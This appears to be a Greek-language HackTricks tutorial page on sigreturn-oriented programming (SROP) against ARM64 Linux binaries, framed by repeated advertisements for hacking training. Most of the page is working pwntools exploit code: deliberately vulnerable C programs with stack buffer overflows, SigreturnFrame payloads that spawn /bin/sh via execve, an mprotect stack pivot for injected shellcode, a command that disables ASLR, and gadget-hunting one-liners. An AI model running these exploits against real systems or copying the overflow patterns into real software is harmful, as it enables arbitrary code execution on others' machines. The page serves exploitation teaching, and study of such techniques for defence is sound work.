> [!TIP]
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Παράδειγμα Pwntools
Αυτό το παράδειγμα δημιουργεί το ευάλωτο δυαδικό αρχείο και το εκμεταλλεύεται. Το δυαδικό αρχείο διαβάζει στη στοίβα και στη συνέχεια καλεί sigreturn
:
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
bof παράδειγμα
Κώδικας
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
Συγκεντρώστε το με:
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
Εκμετάλλευση
Η εκμετάλλευση εκμεταλλεύεται το bof για να επιστρέψει στην κλήση του sigreturn
και να προετοιμάσει τη στοίβα για να καλέσει το execve
με έναν δείκτη προς το /bin/sh
.
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
bof παράδειγμα χωρίς sigreturn
Κώδικας
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
Εκμετάλλευση
Στην ενότητα vdso
είναι δυνατή η εύρεση μιας κλήσης προς sigreturn
στην απόσταση 0x7b0
:
 (1).png)
Επομένως, αν διαρρεύσει, είναι δυνατόν να χρησιμοποιηθεί αυτή η διεύθυνση για να αποκτηθεί πρόσβαση σε ένα sigreturn
αν το δυαδικό δεν το φορτώνει:
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Για περισσότερες πληροφορίες σχετικά με το vdso ελέγξτε:
Και για να παρακάμψετε τη διεύθυνση του /bin/sh
μπορείτε να δημιουργήσετε αρκετές μεταβλητές περιβάλλοντος που να δείχνουν σε αυτήν, για περισσότερες πληροφορίες:
Αυτόματη εύρεση sigreturn
gadgets (2023-2025)
Σε σύγχρονες διανομές, το sigreturn
trampoline εξακολουθεί να εξάγεται από τη σελίδα vDSO, αλλά η ακριβής απόσταση μπορεί να διαφέρει μεταξύ των εκδόσεων του πυρήνα και των σημαιών κατασκευής όπως το BTI (+branch-protection
) ή το PAC. Η αυτοματοποίηση της ανακάλυψής του αποτρέπει την σκληρή κωδικοποίηση αποστάσεων:
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
Και τα δύο εργαλεία κατανοούν τις κωδικοποιήσεις AArch64 και θα παραθέσουν υποψήφιες ακολουθίες mov x8, 0x8b ; svc #0
που μπορούν να χρησιμοποιηθούν ως SROP gadget.
Σημείωση: Όταν οι δυαδικοί κώδικες είναι συμπιεσμένοι με BTI, η πρώτη εντολή κάθε έγκυρου στόχου έμμεσης κλάσης είναι
bti c
. Οι τραμπόλινεςsigreturn
που τοποθετούνται από τον σύνδεσμο περιλαμβάνουν ήδη την σωστή πλατφόρμα προσγείωσης BTI, έτσι ώστε το gadget να παραμένει χρησιμοποιήσιμο από μη προνομιούχο κώδικα.
Σύνδεση SROP με ROP (pivot μέσω mprotect
)
rt_sigreturn
μας επιτρέπει να ελέγχουμε όλους τους γενικούς καταχωρητές και το pstate
. Ένα κοινό μοτίβο σε x86 είναι: 1) χρησιμοποιήστε SROP για να καλέσετε mprotect
, 2) pivot σε μια νέα εκτελέσιμη στοίβα που περιέχει shell-code. Η ακριβώς ίδια ιδέα λειτουργεί και σε ARM64:
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
Μετά την αποστολή του πλαισίου, μπορείτε να στείλετε μια δεύτερη φάση που περιέχει raw shell-code στο 0x400000+0x100
. Επειδή το AArch64 χρησιμοποιεί PC-relative διευθυνσιοδότηση, αυτό είναι συχνά πιο βολικό από το να κατασκευάσετε μεγάλες αλυσίδες ROP.
Έλεγχος του πυρήνα, PAC & Shadow-Stacks
Το Linux 5.16 εισήγαγε αυστηρότερους ελέγχους των πλαισίων σήματος του χρήστη (commit 36f5a6c73096
). Ο πυρήνας τώρα ελέγχει:
uc_flags
πρέπει να περιέχειUC_FP_XSTATE
όταν υπάρχειextra_context
.- Η δεσμευμένη λέξη στη
struct rt_sigframe
πρέπει να είναι μηδέν. - Κάθε δείκτης στο αρχείο extra_context είναι ευθυγραμμισμένος και δείχνει μέσα στον χώρο διευθύνσεων του χρήστη.
pwntools>=4.10
κατασκευάζει αυτόματα συμμορφούμενα πλαίσια, αλλά αν τα κατασκευάσετε χειροκίνητα, βεβαιωθείτε ότι έχετε μηδενίσει το reserved και παραλείψτε το αρχείο SVE εκτός αν το χρειάζεστε πραγματικά—διαφορετικά, το rt_sigreturn
θα παραδώσει SIGSEGV
αντί να επιστρέψει.
Αρχίζοντας με το mainstream Android 14 και το Fedora 38, το userland είναι μεταγλωττισμένο με PAC (Pointer Authentication) και BTI ενεργοποιημένα από προεπιλογή (-mbranch-protection=standard
). Το SROP από μόνο του δεν επηρεάζεται επειδή ο πυρήνας αντικαθιστά το PC
απευθείας από το κατασκευασμένο πλαίσιο, παρακάμπτοντας το αυθεντικοποιημένο LR που αποθηκεύεται στη στοίβα. Ωστόσο, οποιαδήποτε επόμενη αλυσίδα ROP που εκτελεί έμμεσες κλάσεις πρέπει να πηδήξει σε εντολές που είναι ενεργοποιημένες για BTI ή σε διευθύνσεις PACed. Κρατήστε το αυτό στο μυαλό σας όταν επιλέγετε gadgets.
Οι Shadow-Call-Stacks που εισήχθησαν στο ARMv8.9 (και ήδη ενεργοποιημένες στο ChromeOS 1.27+) είναι μια μείωση σε επίπεδο μεταγλωττιστή και δεν παρεμβαίνουν στο SROP επειδή δεν εκτελούνται εντολές επιστροφής—η ροή ελέγχου μεταφέρεται από τον πυρήνα.
Αναφορές
- Linux arm64 signal handling documentation
- LWN – "AArch64 branch protection comes to GCC and glibc" (2023)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.